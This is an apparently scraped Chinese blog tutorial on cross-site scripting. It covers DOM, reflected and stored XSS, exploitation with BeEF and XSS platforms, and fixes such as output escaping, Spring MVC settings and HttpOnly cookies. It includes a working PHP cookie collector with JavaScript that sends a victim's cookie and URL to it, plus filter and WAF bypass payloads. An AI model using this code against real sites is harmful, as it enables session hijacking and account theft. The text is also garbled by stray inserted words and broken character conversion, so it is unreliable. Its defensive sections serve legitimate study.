XSS防護和繞過1

原理:對用戶輸入沒作過濾和處理,是用戶能夠輸入一些東西(例如js),控制輸出達到一些攻擊目的javascript

1.DOM型php

 

基於DOM的XSS有時也稱爲type0XSS。當用戶可以經過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來講它也是反射型XSS。主要區別就是沒有通過服務器後端處理html

  經過修改頁面的DOM節點造成的XSS,稱之爲DOMBasedXSS。java

  前提是易受攻擊的網站有一個HTML頁面採用不安全的方式從document.location 或document.URL 或 document.referrer獲取數據(或者任何其餘攻擊者能夠修改的對象)。node

簡單例子spring

複製代碼
 1 <HTML>
 2 <TITLE>Welcome!</TITLE>
 3 Hi
 4 <SCRIPT>
 5 var pos=document.URL.indexOf("name=")+5;
 6 document.write(document.URL.substring(pos,document.URL.length));
 7 </SCRIPT>
 8 <BR>
 9 Welcome to our system
10 …
11 </HTML>
複製代碼

這個例子是個歡迎頁面,name是截取URL中get過來的name參數sql

正常操做:後端

http://www.vulnerable.site/welcome.html?name=Joe瀏覽器

非正常操做:安全

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  將產生xss條件。讓咱們看看爲何:受害者的瀏覽器接收到這個連接,發送HTTP請求到www.vulnerable.site而且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。

注意:

  1. 惡意程序腳本在任什麼時候候不會嵌入處處於天然狀態下的HTML頁面(這和其餘種類的xss不太同樣)。

  2.這個攻擊只有在當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化爲%3C 和 %3E),所以在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,所以他很容易受到攻擊。

  固然,直接嵌入到HTML只是攻擊的一個掛載點,有不少腳本不須要依賴<和>漏洞,所以Mozilla一般也是沒法阻止這些攻擊的。

  【這段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind

如:<div id="aa">這是內容</div>   ,咱們能夠經過  document.getElementById('aa').innerHTML 來獲取id爲aa的對象的內嵌內容;
也能夠對某對象插入內容,如 document.getElementById('abc').innerHTML='這是被插入的內容'; 這樣就能向id爲abc的對象插入內容。

2 反射型:某url存在xss漏洞,攻擊者經過植入xss代碼,讓受害者訪問觸發,反射型跨站http://127.0.0.1/xss1.php?name=op<script>alert(1)</script>

3.存儲型:某url下的留言本或評論區存在xss漏洞,攻擊者經過植入xss代碼,讓受害者訪問觸發,存儲型跨站。留言板

 與csrf結合的思考,構造帶xss的連接請求放在B站上藏匿,受害者訪問脆弱的a站,又同時訪問B站,渲染B站時或點擊、移動鼠標使惡意連接觸發,向A站發送請求同時瀏覽器被攻擊者控制,能夠任意和A站交互

 

漏洞的發現:手工或這工具掃描AWVS等

awvs注意裏面id的位置,手工測試輸入,對可控的變量進行測試回顯,看瀏覽器回顯的html文檔,一邊測試一邊繞過

 

漏洞的利用:beef或者xss平臺、xsser 

把beef的127.0.0.1:3000/hook.js 和xss平臺經過各類方式get post等等在瀏覽器構造,騙取用戶打開,利用效果取決於受害者權限,獲取cookie、地理位置、劫持瀏覽器是沒有問題的。

注意:

xss平臺使用要注意插入閉合</scrpit>"<本身的xss代碼>//)

獲取到cookie之後能夠用啊d也能夠用cookietamper等這些修改cooike的插件帶着cookie去訪問網站。並且要注意訪問/admin,不是/admin/login.php

手寫獲取cookie的js方法:

生成cookie的php:

<?php
$cookie = $_GET['c']; //接受c的參數複製給cookie,爲後面作模擬方便
$url= $_GET['u'];     //賦值url
$file = fopen("cookie.html","w+"); //將接受值寫入html文件
fwrite($file,"url地址:");
fwrite($file,$url);
fwrite($file,":");
fwrite($file,$cookie);
fwrite($file,"<hr>");
fclose($file);
?>

利用的獲取cookie的js代碼:

<script>
var cookie=document.cookie; //聲明變量獲取cookie,賦值給cookie
var url =window.location.href; //js獲取url的方法
alert(url);
var c="http://127.0.0.1/cookiexss.php?c=";
//var u="http://127.0.0.1/cookiexss.php?u=";
window.location.href=c+cookie+"&u="+url;//window.location.href打開指定地址http://127.0.0.1/cookiexss.php?c=cookie值&u=url值

</script>

 只要在脆弱站點A植入以上js代碼,js經過執行調用的php,生成一個html,裏面包含用戶在瀏覽A站的cookie和url

 

 

 

修復

1.在輸入點過濾敏感關鍵字

2.innerHTML=encodeHTML([輸出])

a) 全局攔截 (全局過濾器、攔截器),適用於不包含富文本的狀況

Servlet的doFilter、Spring的Interceptor類,對全部的訪問請求進行監聽。正確的姿式是在過濾器中對<>&’」=等字符轉義處理,可以使用ESAPI或者common-lang.jar的StringEscapeUtils類或者Spring的HtmlUtils來實現。

b)富文本交互,白名單過濾

ESAPI.validator().getValidSafeHTML(「getValidSafeHTML」, keyword, keyword.length(), true)

白名單:JavaVulnerableLab/vulnerability/xss/xss4.jsp

3.7 XSS防禦—Spring MVC

a)項目級過濾

<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>

b)頁面級過濾

在包含form的jsp頁面中添加

<spring:htmlEscape defaultHtmlEscape=」true」 />

c)表單元素級過濾

在form元素中添加

<form:form htmlEscape=「true」>或

<form:input path=」someFormField」 htmlEscape=」true」 />

3.springMVC中的WebBindingInitializer和@InitBinder

  • 將用戶所提供的內容輸入輸出進行過濾。能夠運用下面這些函數對出現XSS漏洞的參數進行過濾:
  • PHP的htmlentities()或是htmlspecialchars()
  • Python的cgi.escape()
  • ASP的Server.HTMLEncode()
  • ASP.NET的Server.HtmlEncode()或功能更強的Microsoft Anti-Cross Site Scripting Library
  • Java的xssprotect(Open Source Library)
  • Node.js的node-validator

4.推薦XSS規則過濾引擎:OWASP AntiSamp或者Java HTML Sanitizer

3.HttpOnly
若是在cookie中設置了HttpOnly屬性,那麼經過javaScript腳本將沒法讀取到cookie信息,這樣能有效的防止XSS攻擊,可是注意,只是不能讀取,可是能夠覆蓋,攻擊者若是發現網站的XSS漏洞,就能夠利用HttpOnly cookie發動session fixation攻擊。

 

 

 

繞過:

四種超級基礎的繞過方法。 
1.轉換爲ASCII碼 
例子:原腳本爲<script>alert(‘I love F4ck’)</script > 
經過轉換,變成: 
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script> 

2.轉換爲HEX(十六進制) 
例子:原腳本爲<script>alert(‘I love F4ck’)</script> 
經過轉換,變成: 
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e 

 

轉換爲base64

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">

能夠看到會刷新,刷新時解密base64

3.轉換腳本的大小寫 
例子:原腳本爲<script>alert(‘I love F4ck’)</script> 
轉換爲:<ScRipt>AleRt(‘I love F4ck’)</sCRipT> 

4.增長閉合標記」> 
例子:原腳本爲<script>alert(‘I love F4ck’)</script> 
轉換爲:」><script>alert(‘I love F4ck’)</script> 

5.變量增長

分紅三條語句

 

6.相似

有轉義:

payload:

http://www.xiaodi8.com/hack/xss/example7.php?name=1';alert($a);//

閉合變量

 

 過waf:

不論是XSS仍是sql注入等,思路老是同樣的,無非幾種:

1.關鍵字打亂

2.替換更改

3.猜分組合

4.編碼解碼

5.函數調用

相關文章
相關標籤/搜索